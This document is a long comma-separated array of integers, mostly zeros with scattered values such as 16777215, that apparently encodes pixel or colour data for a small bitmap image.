,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,102,11993087,14399078,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,3838171,16777142,6684672,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,0,3838171,16777215,16777215,14408630,6699520,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,6731519,16777215,16777215,16777142,6684672,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,102,11993087,11953664,0,102,11993087,11953664,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,6731519,16777215,16777215,16777142,6684672,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,58,3815994,6721755,16767888,6699578,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,58,3815994,6721755,16777142,6684672,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,58,3815994,6721755,16777142,6684672,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,14389306,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,14389306,0,58,9493503,14389306,0,102,11993087,11953664,0,102,11993087,11953664,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,58,9493503,16767888,6699578,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,14389306,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,26294,16777142,6684672,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,11953664,0,102,11993087,11953664,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,6731519,16758374,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,11953664,0,102,11993087,11953664,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767926,11983871,11953664,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,102,11983871,16777215,16777179,11964474,0,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,11953664,0,58,9493503,14389306,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,102,11993087,16777215,16777215,16777215,14399120,3801088,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,